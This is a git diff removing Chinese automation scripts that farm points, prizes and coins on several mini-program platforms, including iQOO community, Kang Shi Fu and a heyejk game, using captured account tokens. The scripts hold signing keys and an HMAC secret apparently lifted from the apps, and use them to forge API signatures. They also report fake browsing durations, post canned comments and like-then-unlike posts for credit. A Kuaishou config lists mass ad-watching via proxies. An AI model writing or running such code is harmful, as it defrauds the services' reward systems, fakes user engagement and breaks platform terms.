- const waterEventType = this.normalizeTaskNumber(item?.waterEventType);
- $.log(`[账号${this.index}] ${prefix} taskId=${taskId}, taskType=${taskType}, taskStatus=${taskStatus}, browseType=${browseType}, waterEventType=${waterEventType}`);
- }
-
- buildBrowseSecondsCandidates(item) {
- const candidates = [];
- const maybeSeconds = [
- item?.seconds,
- item?.browseSeconds,
- item?.needSeconds,
- item?.taskSeconds,
- process.env.HYJK_BROWSE_SECONDS
- ];
- for (const v of maybeSeconds) {
- const n = Number(v);
- if (Number.isFinite(n) && n >= 0) candidates.push(n);
- }
- candidates.unshift(0, 20, 30, 60);
- return [...new Set(candidates.filter(n => Number.isFinite(n) && n >= 0))];
- }
-
- resolveBrowseTargetSeconds(item) {
- const maybe = [
- item?.needSeconds,
- item?.seconds,
- item?.browseSeconds,
- item?.taskSeconds,
- process.env.HYJK_BROWSE_SECONDS
- ];
- for (const v of maybe) {
- const n = Number(v);
- if (Number.isFinite(n) && n > 0) return n;
- }
- return 20;
- }
-
- async autoBrowseTask(item) {
- const taskId = this.normalizeTaskNumber(item?.taskId);
- const targetSeconds = this.resolveBrowseTargetSeconds(item);
- const waitPadding = Number(process.env.HYJK_BROWSE_WAIT_PADDING || 1);
-
- const startRes = await this.userOperation(5, { taskId, seconds: 0 });
- $.log(`[账号${this.index}] 浏览任务(taskId=${taskId}) 起始上报seconds=0: ${startRes?.msg || startRes?.code}`);
-
- const waitMs = Math.max(0, Math.floor((targetSeconds + waitPadding) * 1000));
- if (waitMs > 0) {
- $.log(`[账号${this.index}] 浏览任务(taskId=${taskId}) 等待${Math.floor(waitMs / 1000)}秒以满足停留时长`);
- await $.wait(62);
- }
-
- const targetRes = await this.userOperation(5, { taskId, seconds: targetSeconds });
- $.log(`[账号${this.index}] 浏览任务(taskId=${taskId}) 目标上报seconds=${targetSeconds}: ${targetRes?.msg || targetRes?.code}`);
-
- const secondsCandidates = this.buildBrowseSecondsCandidates(item).filter(s => s !== 0 && s !== targetSeconds);
- for (const seconds of secondsCandidates) {
- const opRes = await this.userOperation(5, { taskId, seconds });
- $.log(`[账号${this.index}] 浏览任务(taskId=${taskId}) 兜底上报seconds=${seconds}: ${opRes?.msg || opRes?.code}`);
- await $.wait(400);
- }
- }
-
- async autoTasks() {
- try {
- const firstTaskRes = await this.getTaskListNew();
- const firstTaskList = this.flattenTaskList(firstTaskRes);
- $.log(`[账号${this.index}] taskList数量: ${firstTaskList.length}`);
- for (const item of firstTaskList) {
- const taskType = Number(item?.taskType);
- const taskStatus = Number(item?.taskStatus);
- const taskId = Number(item?.taskId);
- if (!taskId) continue;
- this.logTaskItem(item, "scan");
-
- if (taskType === 50 && (taskStatus === 0 || taskStatus === 3)) {
- await this.autoBrowseTask(item);
- continue;
- }
-
- if (taskType === 70 && taskStatus === 0) {
- const opRes = await this.userOperation(9, { taskId });
- $.log(`[账号${this.index}] task70(taskId=${taskId}) 上报: ${opRes?.msg || opRes?.code}`);
- await $.wait(500);
- continue;
- }
-
- if (taskType === 80 && (taskStatus === 0 || taskStatus === 3)) {
- await this.autoBlindBox(taskId);
- continue;
- }
-
- if ((taskType === 60 || taskType === 61) && taskStatus === 0) {
- await this.claimTaskWater(item, "task60/61直领");
- await $.wait(500);
- continue;
- }
-
- if (taskType === 90 && (taskStatus === 0 || taskStatus === 3)) {
- await this.claimTaskWater(item, "task90直领");
- await $.wait(500);
- continue;
- }
-
- if ((taskType === 110 || taskType === 120) && (taskStatus === 0 || taskStatus === 3)) {
- const jumpRes = await this.goFruitOrGarden(taskId);
- $.log(`[账号${this.index}] task${taskType}(taskId=${taskId}) goFruitOrGarden: ${jumpRes?.msg || jumpRes?.code}`);
- await $.wait(500);
- continue;
- }
-
- if (taskStatus === 1) {
- await this.claimTaskWater(item, "立即领奖");
- await $.wait(500);
- continue;
- }
-
- if (taskStatus !== 2 && taskStatus !== 10000) {
- $.log(`[账号${this.index}] 未适配任务: taskType=${taskType}, taskStatus=${taskStatus}, taskId=${taskId}`);
- }
- }
-
- const secondTaskRes = await this.getTaskListNew();
- const secondTaskList = this.flattenTaskList(secondTaskRes);
- for (const item of secondTaskList) {
- const taskStatus = this.normalizeTaskNumber(item?.taskStatus);
- if (taskStatus !== 1) continue;
- await this.claimTaskWater(item, "二次领奖");
- await $.wait(500);
- }
- } catch (e) {
- $.log(`[账号${this.index}] task自动化异常: ${e.message}`);
- }
- }
-
- async autoBlindBox(taskId) {
- try {
- const boxRes = await this.getBlindBoxInfo(taskId);
- const boxList = Array.isArray(boxRes?.result) ? boxRes.result : [];
- for (const box of boxList) {
- if (Number(box?.status) === 0 || Number(box?.status) === 1) {
- const blindBoxId = Number(box?.blindBoxId);
- if (!blindBoxId) continue;
- const opRes = await this.userOperation(4, { taskId, blindBoxId });
- $.log(`[账号${this.index}] 盲盒(taskId=${taskId}, blindBoxId=${blindBoxId}) 上报: ${opRes?.msg || opRes?.code}`);
- await $.wait(500);
- }
- }
- } catch (e) {
- $.log(`[账号${this.index}] 盲盒自动化异常(taskId=${taskId}): ${e.message}`);
- }
- }
- encrypt(body) {
-
-
- const PUBLIC_KEY = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCiBksv2xaOJdSWblaTQl93HI393gYHqKFs89EIFBWYSmYSV+z8XXzMO/Xyo8EeWRpAjT5TuBf0wN467aBx3nsDfJd7e3+txBS7nf+S7Nyjnxx2J5AKPWx1gVmr/OF3aWqxg+DPCB7avakhj+p0QjoJ7eMqgJl/HSX2Kfb6/O3J9wIDAQAB";
- const PRIVATE_KEY = "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKIGSy/bFo4l1JZuVpNCX3ccjf3eBgeooWzz0QgUFZhKZhJX7PxdfMw79fKjwR5ZGkCNPlO4F/TA3jrtoHHeewN8l3t7f63EFLud/5Ls3KOfHHYnkAo9bHWBWav84XdparGD4M8IHtq9qSGP6nRCOgnt4yqAmX8dJfYp9vr87cn3AgMBAAECgYEAlwzbB5Bu5LKsEFppZ/wW2ArM7YIRiQ5TACoGFEv1HfcuVaeXDmdxs02rKzwzDEHxUYDcPFyCKPGtvK5QSBgsAUUBHb6uu0fNGUccGX31NRAfLuQ8fj3W0uvkoYlpDARuokDHhWNqWzI6f8bFHkewJwpjXCO8w1WkogTLiX9Gu3ECQQDd5J4jEDS5+7KaohYRoryyX939mzsZ4RC6ufsfzTJwSlnLyYHEbm0Cs+7gbBxRrioqApBMQPIIoa5ujm1C88MNAkEAuu3htlbpR1ZL9b3wUuf3el/D3i/k9XvSChfHQ1q46Y/eck2yEDH9Kv/ZUxEl4fR8mB2MONm9oc2l+chPd9uQEwJBALcWuNU9vgPoB0tIiuUqXoDgUY+80ltcNi2c3/Uxn3jAIK/iKU0nwJMGXQiYrBVJnEjlrKL+w7cTkZZvtwATmtECQC2JV4vQvkFHj3eMzqeTpKDmBVPx/OekQzV8N2l8B0G2b20O6kqxssevzeRDcCQMJ/HyeL88o8pvy3f+yQUcsosCQQDZXV8K7Ek0R/V3dAdUzoetFSlfjCGy9QKPruz7m+iXBASxiA0R7YGfJzc8jWpuv0pxujtB/awy22K/ggLAhkZU";
-
- const JAVA_PUBLIC_KEY = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNQpS4ZeHRiIPFIdZgupShTHFlGOqFkT6XEqByvWqt2BvLo3a+YfzyJHOXyfX41OvbIkuIaycuxU9w7RHI1e7F3O7Io+XxncjyU3GR+ae2DEtLaG3o/rtpONF5q1jTN/Spu4GKXsjhHrP9xxMThLF6134NKAyQZfvOms0gS0zmxwIDAQAB"
- const JAVA_PRIVATE_KEY = "MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAM1ClLhl4dGIg8Uh1mC6lKFMcWUY6oWRPpcSoHK9aq3YG8ujdr5h/PIkc5fJ9fjU69siS4hrJy7FT3DtEcjV7sXc7sij5fGdyPJTcZH5p7YMS0tobej+u2k40XmrWNM39Km7gYpeyOEes/3HExOEsXrXfg0oDJBl+86azSBLTObHAgMBAAECgYA08JI5CRX4G/SYeIS5SAYjn/qzL3z1XCO/hS9ayJ3mHpH0sMFkkxNRRLOHl7BYMFpwl2TR14kwl/VIU+y9VugRK6Se/gdJ/jwGiMdVkO6tGD7s8TwLcgNjAVbwpZCq40h8dQazzyIsPxyww4AP9fQlo5x3eY9v8icw+U58fj4FcQJBAPk4PPCy54ZHMqSTl4E1z+QzZ51z07PFIbGsT/oAg9GOwFjrPjOTQDEPp3cBeAlKmWdUVAjdGYExwuCw4EkG/XkCQQDS2Cx09pwNwMWIN+u3CVneECXS3iUiRPGJkbliFczwjByk3DnBMW15wGNVtJfsM7YFOIir+hW+QfbCKSBjxTY/AkEArPam9LZ1kO/g6e+0+mwKeGpkwxYcG2v5UoIwj2XEFrBoNk4twUW1C1e99g4C7Q/lH52bJPuuM8gBZEfdoVFEoQJBALZ4CPlsVx973jeGFcPBHvoURXeZcs+WlOY2rBYbwdHHoB54zK7KZPECM7V/Zh8vnW4lP/p9owWVtsTPrM1LZicCQDhgvSmpBy0QoUI+wPS9l+YYuLc2loGoWU97RiFbgKqXBexnSg4UHfU8Ot6N4VbIWEhOZV27P0ktsI3UfjGNS6s="
-
- // 鐢熸垚闅忔満涓?
- function generateRandomString(length) {
- var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; // 鍖呭惈鎵€鏈夊瓧姣嶅拰鏁板瓧鐨勫瓧绗﹂泦鍚?
- var result = '';
-
- for (var i = 0; i < length; i++) {
- var randomIndex = Math.floor(Math.random() * chars.length); // 鑾峰彇闅忔満绱㈠紩鍊?
- var charAtIndex = chars[randomIndex]; // 鏍规嵁绱㈠紩鍊间粠瀛楃闆嗗悎涓€夋嫨瀵瑰簲鐨勫瓧绗?
-
- result += charAtIndex; // 灏嗗瓧绗︽坊鍔犲埌鏈€缁堢粨鏋滀腑
- }
-
- return result;
- }
- // 鍙傛暟瀛楀吀琛ㄦ帓搴?
- function sortedKeys(obj) {
- let keys = Object.keys(obj).sort();
- let res = {}
- keys.forEach(key => {
- res[key] = obj[key]
- })
- return res
- }
- function generateRsaKeyWithPKCS8() {
- const keyPair = JsRsaSign.KEYUTIL.generateKeypair("RSA", 1024);
- const privateKey = JsRsaSign.KEYUTIL.getPEM(keyPair.prvKeyObj, "PKCS8PRV");
- const publicKey = JsRsaSign.KEYUTIL.getPEM(keyPair.pubKeyObj);
- return { privateKey, publicKey };
- }
- const { privateKey, publicKey } = generateRsaKeyWithPKCS8()
-
- function objToStr(data) {
- let str = ""
- for (let i in data) {
- str += `${i}=${data[i]}&`
- }
- str = str.slice(0, str.length - 1)
- return str
- }
- // 鐢熸垚绛惧悕
- function getSign(data) {
- const signature = new JsRsaSign.KJUR.crypto.Signature({
- alg: "SHA1withRSA",
- });
- signature.init("-----BEGIN PRIVATE KEY-----" + PRIVATE_KEY + "-----END PRIVATE KEY-----");
- let sortData = sortedKeys(data)
- let str = objToStr(sortData)
- signature.updateString(str);
- return JsRsaSign.hextob64(signature.sign());
- }
- function getKey() {
- const encryptor = new JSEncrypt()
- encryptor.setPublicKey("-----BEGIN PUBLIC KEY-----" + JAVA_PUBLIC_KEY + "-----END PUBLIC KEY-----") // 璁剧疆鍏挜
- return encryptor
- }
-
- // 鐢熸垚鍔犲瘑
- function entryData(data) {
- let encryptor = getKey();
- let str = objToStr(data)
- return encryptor.encryptLong(str); // 璋冪敤灏佽鐨勬柟娉?
- }
-
- // 瑙e瘑
- function decrypt(data) {
- const encryptor = new JSEncrypt()
- encryptor.setPrivateKey(PRIVATE_KEY)
- return encryptor.decryptLong(data)
- }
- let sign = getSign(body)
- let timestamp = new Date().getTime()
- return entryData({
- sign: sign,
- timestamp: timestamp
- })
- //from by https://www.heyejk.com/game
-
- /*const t = body
- const { KJUR, hextob64 } = require("jsrsasign")
- global['window'] = {}
- global['navigator'] = {}
- const { JSEncrypt } = require("encryptlong")
- const te = "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKIGSy/bFo4l1JZuVpNCX3ccjf3eBgeooWzz0QgUFZhKZhJX7PxdfMw79fKjwR5ZGkCNPlO4F/TA3jrtoHHeewN8l3t7f63EFLud/5Ls3KOfHHYnkAo9bHWBWav84XdparGD4M8IHtq9qSGP6nRCOgnt4yqAmX8dJfYp9vr87cn3AgMBAAECgYEAlwzbB5Bu5LKsEFppZ/wW2ArM7YIRiQ5TACoGFEv1HfcuVaeXDmdxs02rKzwzDEHxUYDcPFyCKPGtvK5QSBgsAUUBHb6uu0fNGUccGX31NRAfLuQ8fj3W0uvkoYlpDARuokDHhWNqWzI6f8bFHkewJwpjXCO8w1WkogTLiX9Gu3ECQQDd5J4jEDS5+7KaohYRoryyX939mzsZ4RC6ufsfzTJwSlnLyYHEbm0Cs+7gbBxRrioqApBMQPIIoa5ujm1C88MNAkEAuu3htlbpR1ZL9b3wUuf3el/D3i/k9XvSChfHQ1q46Y/eck2yEDH9Kv/ZUxEl4fR8mB2MONm9oc2l+chPd9uQEwJBALcWuNU9vgPoB0tIiuUqXoDgUY+80ltcNi2c3/Uxn3jAIK/iKU0nwJMGXQiYrBVJnEjlrKL+w7cTkZZvtwATmtECQC2JV4vQvkFHj3eMzqeTpKDmBVPx/OekQzV8N2l8B0G2b20O6kqxssevzeRDcCQMJ/HyeL88o8pvy3f+yQUcsosCQQDZXV8K7Ek0R/V3dAdUzoetFSlfjCGy9QKPruz7m+iXBASxiA0R7YGfJzc8jWpuv0pxujtB/awy22K/ggLAhkZU",
- ne = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNQpS4ZeHRiIPFIdZgupShTHFlGOqFkT6XEqByvWqt2BvLo3a+YfzyJHOXyfX41OvbIkuIaycuxU9w7RHI1e7F3O7Io+XxncjyU3GR+ae2DEtLaG3o/rtpONF5q1jTN/Spu4GKXsjhHrP9xxMThLF6134NKAyQZfvOms0gS0zmxwIDAQAB";
- let n = le(t)
- let o = (new Date).getTime()
- return he({ sign: n, timestamp: o })
- function ae(e) { let t = Object.keys(e).sort(), n = {}; return t.forEach(t => { n[t] = e[t] }), n }
- function de() { const e = new JSEncrypt(); return e.setPublicKey("-----BEGIN PUBLIC KEY-----" + ne + "-----END PUBLIC KEY-----"), e }
- function ce(e) { let t = ""; for (let n in e) t += `${n}=${e[n]}&`; return t = t.slice(0, t.length - 1), t }
- function he(e) { let t = de(), n = ce(e); return t.encryptLong(n) }
- function le(e) { const t = new KJUR.crypto.Signature({ alg: "SHA1withRSA" }); t.init("-----BEGIN PRIVATE KEY-----" + te + "-----END PRIVATE KEY-----"); let n = ae(e), o = ce(n); return t.updateString(o), hextob64(t.sign()) }*/
- }
-
-}
-
-!(async () => {
- await getNotice().catch(e => $.log(`[Notice失败] ${e.message}`))
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(async () => {
- try {
- await $.done();
- } catch (e) {
- console.log(e.message || e);
- process.exit(1);
- }
- });
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/daily/iqoo.js b/daily/iqoo.js
deleted file mode 100644
index 060216d6..00000000
--- a/daily/iqoo.js
+++ /dev/null
@@ -1,316 +0,0 @@
-
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: IQOO社区小程序 积分脚本
-cron: 30 8 * * *
-------------------------------------------
-#Notice:
-变量名iqoo
-抓取方法:https://bbs-api.iqoo.com请求头authorization 去掉Bearer
-多账户&或换行
-
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("iqoo社区");
-let ckName = `iqoo`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
- this.postId = ''
- this.threadId = ''
-
- }
- request(options) {
- let baseHeaders = {
- sign: this.getSign(options.method, options.url.split('https://bbs-api.iqoo.com')[1].split("?")[0], options.data ? options.data : ''),
- 'authorization': 'Bearer ' + this.token,
- "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027",
- "x-platform": "mini",
- "x-visitor": "b89d8b0ffa920e96f3cb4c1f69ec2c66"
- }
-
- options.headers = Object.assign(baseHeaders, options.headers)
-
-
- return axios.request(options)
- }
- async userInfo() {
- let options = {
- method: 'GET',
- url: `https://bbs-api.iqoo.com/api/v3/v3/user?userId=${this.id}`,
- headers: {
-
- },
- data: {
- userId: this.id
- }
- };
- let { data: result } = await this.request(options);
- if (result?.Code == '0') {
- $.log(`${this.index}账号[${this.index}] 获取用户信息成功`)
- }
- }
- async run() {
- await this.getTreadList()
- if (this.threadId && this.postId) {
- await this.likePost(this.threadId, this.postId)
- await $.wait(5000)
- await this.sharePost(this.threadId)
- await $.wait(5000)
-
- await this.viewPost(this.threadId)
- await $.wait(5000)
-
- await this.commonPost(this.threadId)
- }
- await this.getDrawNum()
- await this.signIn()
- }
- async getDrawNum() {
- let options = {
- method: 'GET',
- url: `https://bbs-api.iqoo.com/api/v3/today.draw.count`,
- headers: {
-
- },
- data: {}
- };
- let { data: result } = await this.request(options);
- if (result?.Code == '0' && result.Data.count == 0) {
- //可以免费抽一次
- await this.draw()
- } else {
- //已签到
- $.log(`${this.index}账号[${this.index}] 抽奖过`)
-
- }
- }
- async draw() {
- let options = {
- method: 'POST',
- url: `https://bbs-api.iqoo.com/api/v3/luck.draw`,
- headers: {
-
- },
- data: {}
- };
- let { data: result } = await this.request(options);
- if (result?.Code == '0') {
- $.log(`${this.index}账号[${this.index}] 抽奖成功 获得${result.Data.prize_name}`)
- }
- }
- async signIn() {
- let options = {
- method: 'POST',
- url: `https://bbs-api.iqoo.com/api/v3/sign`,
- headers: {
-
- },
- data: { "from": "group" }
- };
- let { data: result } = await this.request(options);
- if (result?.Code == '0') {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `🕊当前已签到${result.Data.serialDays}天🎉 获得积分${result.Data.score} 当前积分${result.Data.scoreCount}`);
- } else {
- $.log(`🌸账号[${this.index}] 签到-失败:${result.Message}❌`)
- }
-
-
-
-
- }
- async likePost(threadId, postId) {
- let { data: likeResult } = await this.request({
- method: 'POST',
- url: `https://bbs-api.iqoo.com/api/v3/posts.update`,
- headers: {
-
- },
- data: { "id": threadId, "postId": postId, "data": { "attributes": { "isLiked": true } } }
- });
- if (likeResult?.Code == '0') {
- $.log(`${this.index}账号[${this.index}] 帖子点赞成功`)
- } else {
- $.log(`${this.index}账号[${this.index}] 帖子点赞失败:${likeResult.Message}❌`)
- }
- let { data: unlikeResult } = await this.request({
- method: 'POST',
- url: `https://bbs-api.iqoo.com/api/v3/posts.update`,
- headers: {
- },
- data: { "id": threadId, "postId": postId, "data": { "attributes": { "isLiked": false } } }
- });
- if (unlikeResult?.Code == '0') {
- $.log(`${this.index}账号[${this.index}] 帖子取消点赞成功`)
- } else {
- $.log(`${this.index}账号[${this.index}] 帖子取消点赞失败:${unlikeResult.Message}❌`)
- }
- }
- async sharePost(threadId) {
- let options = {
- method: 'POST',
- url: `https://bbs-api.iqoo.com/api/v3/thread.share`,
- headers: {
-
- },
- data: { "threadId": threadId }
- };
- let { data: result } = await this.request(options);
- if (result?.Code == '0') {
- $.log(`${this.index}账号[${this.index}] 帖子分享成功`)
- } else {
- $.log(`${this.index}账号[${this.index}] 帖子分享失败:${result.Message}❌`)
- }
-
- }
- async viewPost(threadId) {
- let options = {
- method: 'GET',
- url: `https://bbs-api.iqoo.com/api/v3/view.count?threadId=` + threadId + `&type=0`,
- headers: {
-
- },
- data: { "threadId": threadId, "type": 0 }
- };
- let { data: result } = await this.request(options);
- if (result?.Code == '0') {
- $.log(`${this.index}账号[${this.index}] 帖子浏览成功`)
- } else {
- $.log(`${this.index}账号[${this.index}] 帖子浏览失败:${result.Message}❌`)
- }
-
- }
- async commonPost(threadId) {
- let options = {
- method: 'POST',
- url: `https://bbs-api.iqoo.com/api/v3/posts.create`,
- headers: {
-
- },
- data: { "id": threadId, "type": 0, "content": "666", "source": "", "attachments": [] }
- };
- let { data: result } = await this.request(options);
- if (result?.Code == '0') {
- $.log(`${this.index}账号[${this.index}] 帖子评论成功`)
- } else {
- $.log(`${this.index}账号[${this.index}] 帖子评论失败:${result.Message}❌`)
- }
-
- }
- async getTreadList() {
- let options = {
- method: 'GET',
- url: `https://bbs-api.iqoo.com/api/v3/thread.list?scope=5&page=1&perPage=10&filter[sort]=4&filter[essence]=1&sequence=0`,
- headers: {
-
- },
- data: { "filter[essence]": 1, "filter[sort]": 4, "page": 1, "perPage": 10, "scope": 5, "sequence": 0 }
- };
- let { data: result } = await this.request(options);
-
- this.threadId = result.Data.pageData[0].threadId
- this.postId = result.Data.pageData[0].postId
- return
-
- }
-
- /**
- *
- * @param {*} e method
- * @param {*} t path
- * @param {*} n data
- * @returns
- */
- getSign(e, t, n) {
-
- const time = Math.floor(Date.now() / 1e3);
- const crypto = require("crypto-js");
- var o, s, r, a = `${time}`,
- c = "GET" == e ? function (e) {
- var t, o = "", r;
- if (typeof e === 'object' && e !== null) {
- if (Array.isArray(e)) {
- r = e.entries();
- } else {
- r = Object.entries(e);
- }
- try {
- for (var entry of r) {
- var a = encodeURIComponent(entry[0]), c = encodeURIComponent(entry[1]);
- o += "".concat(a, "=").concat(c, "&");
- }
- } catch (e) {
- console.error(e);
- }
- return o.slice(0, -1);
- } else {
- return '';
- }
- }(n) : "";
- let l = "GET" == e ? "" : JSON.stringify(n);
- o = "2618194b0ebb620055e19cf9811d3c13"
- s = e + "&" + t + "&" + c + "&" + l + "&appid=1002×tamp=" + a
- r = crypto.HmacSHA256(s, o)
- let sign = crypto.enc.Base64.stringify(r)
- return `IQOO-HMAC-SHA256 appid=1002,timestamp=${time},signature=${sign}`
- }
-
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
-
diff --git a/daily/kangshifu.js b/daily/kangshifu.js
deleted file mode 100644
index 318515fa..00000000
--- a/daily/kangshifu.js
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 康师傅畅饮社
-cron: 30 10 * * *
-------------------------------------------
-#Notice:
-康师傅畅饮社小程序
-变量名 ksfcys
-账号格式:抓https://club.biqr.cn/api/请求头token 多账户&或换行
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("康师傅畅饮社");
-let ckName = `ksfcys`;
-const strSplitor = "#";
-
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
-
- }
-
- async run() {
-
- await this.signIn()
- }
-
- async signIn() {
- let options = {
- url: `https://club.biqr.cn/api/signIn/integralSignIn`,
- headers: {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027',
- 'Accept': 'application/json, text/plain, */*',
- 'xweb_xhr': '1',
- 'Content-Type': 'application/x-www-form-urlencoded;',
- 'Token': '' + this.token,
- 'Sec-Fetch-Site': 'cross-site',
- 'Sec-Fetch-Mode': 'cors',
- 'Sec-Fetch-Dest': 'empty',
- 'Referer': 'https://servicewechat.com/wx54f3e6a00f7973a7/795/page-frame.html',
- 'Accept-Language': 'zh-CN,zh;q=0.9'
- },
- method: 'POST',
- data: {
-
- }
- }
- let { data: result } = await axios.request(options);
- if (result.code == 0) {
- $.log(`账号[${this.index}]【${this.name}】 签到成功`);
- } else {
- $.log(result);
-
- }
- }
-
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout: 3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) { }
-
-}
diff --git a/daily/ksjsb.js b/daily/ksjsb.js
deleted file mode 100644
index 6fd54450..00000000
--- a/daily/ksjsb.js
+++ /dev/null
@@ -1,18 +0,0 @@
-//new Env("快手极速版")
-console.log(JSON.stringify([
- "ksnoDelay 是否开启无延迟模式 true开启 可能会导致黑号 谨慎开启",
- "ksck 开宝箱ck#salt#代理[可不写] 兼容万安和socks:// 或者socks5:// 群内公告有一键获取CK的方式无需ROOT",
- "kstask 默认 food,look,box,search 全开",
- "ksmaxtask_look 看广告次数 每次运行 默认50",
- "ksmaxtask_search 看搜索广告次数 每次运行 默认25",
- "ksmaxtask_food 饭补广次数 每次运行 默认10",
- "ksmaxtask_box 宝箱广次数 默认10",
- "ksTaskNum 并发变量",
- "kssearch 快手搜索广关键词 英文逗号分割 例如 双十一,百度极速版",
- "ksdailytask 日常任务 签到 宝箱 打卡 signin,box,huge 需要关闭的 填写变量时候去掉相关的",
- "ksextratask 是否开启额外任务 默认true开启,,false关闭 开启可以增加金币 如果提示已领取完毕可以把这个关掉",
- "ksmaxreward 每次运行脚本每个账号最多多少金币 默认30000",
- "ksispasslive 是否跳过直播 默认跳过 为false时不跳过 ",
- "ksisadadd 是否开启追加广告 默认开启 false关闭"
-], null, 2));
